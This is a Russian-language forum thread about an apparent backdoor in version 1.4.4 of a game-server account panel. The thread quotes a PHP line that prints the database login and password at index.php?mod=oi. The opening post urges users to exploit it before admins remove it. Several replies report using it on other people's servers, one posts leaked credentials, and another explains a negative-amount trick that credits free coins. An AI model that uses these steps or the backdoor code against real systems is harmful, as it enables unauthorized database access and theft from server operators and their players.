Возможная дырка лк 1.4.4

[snikersoid]

Нашел в одном из лк неприличную строчку

PHP код:

  elseif($_GET['mod']=="oi"){echo''.$MySQL_USER.' '.$MySQL_USER_PASS.''; 


В итогде когда юзер заходит index.php?mod=oi - ему выбивает данные подключения лк к базе.

Админами - убирайте строку.

Юзерам - ломайте пока не убрали.


Было замечено в

Цитата: ЛК 1.4.4 by kozz основа morze 3.0

Судя по стилю - внедрялось основным разработчиком лк.

Добавлено через 9 минут
Ошибся разделом)

[UniDemoN]

На каком сервере проверялось? Или это лишь теория?

[Sekyndant]

Warning: file_get_contents([Ссылки могут видеть только зарегистрированные пользователи. ] failed to open stream: Connection timed out in /var/www/functions.php on line 56 Warning: file_get_contents([Ссылки могут видеть только зарегистрированные пользователи. ] failed to open stream: Connection timed out in /var/www/functions.php on
Вот что мне сказал лк и дал монет=) Не проверил пока визуально или нет но спасибо автору

[CrossSpeed]

[Ссылки могут видеть только зарегистрированные пользователи. ] и [Ссылки могут видеть только зарегистрированные пользователи. ] - только смысла я так и не увидел)

[Qeee]

это надо наверно пробывать на убогих серверах на таких наверно сразу пофиксили

[snikersoid]

Ну авторизуемся в лк и переходим ip/index.php?mod=oi - если есть баг, то выдает данные подключения к базе(логин пароль), если ничего - пофиксили

[ghost2116]

Действительно работает,пропробывал на своём.А нормальных серверов с таким "багом",точно не найдёте.

[slonkey]

попробывал на одном серве, зашел в лк перешел куда надо. о выдал такое
root 909090-zxc
что это такое и что делать дальше?
ах да и ещё, нужны каие нибудь постороние программы?

[slonkey]

Цитата: Сообщение от Noize)CM) после ввода ссылки ничего не происходит только обновляеться страничка...

фикс значит на этом сервере. у меня на десяти таких же было

[Аnоnymous]

По побывал на 15 даже очень неизвестных серверах (сайтах), везде одно и тоже "Обновление страниц", мне кажется уже везде бес исключения пофикшенно

[sasokyaaaa]

что-то не пойму...объесните пожалуйста,как всё это проделать?

[ghost2116]

Цитата: Сообщение от sasokyaaaa что-то не пойму...объесните пожалуйста,как всё это проделать?

В шапке всё написано.

[Bigzosa]

Цитата: Сообщение от sasokyaaaa что-то не пойму...объесните пожалуйста,как всё это проделать?

Никак. Это не работает

[DarkNeko]

Кстати, ещё есть баг в лк от DecoD 1.4.4 при пополнении голда в игру, например: в данном поле при пополнении пишем не 5 (типо сколько надо голда), а -5 и вуаля, на нашем счёте появилось 5 монет лк. На некоторых серверах уже убрали данный лк.

[slonkey]

Цитата: Сообщение от Bigzosa Никак. Это не работает

Цитата: Сообщение от Аnоnymous мне кажется уже везде бес исключения пофикшенно

нашел более 5 серверов.
З.Ы есть ещё рабочие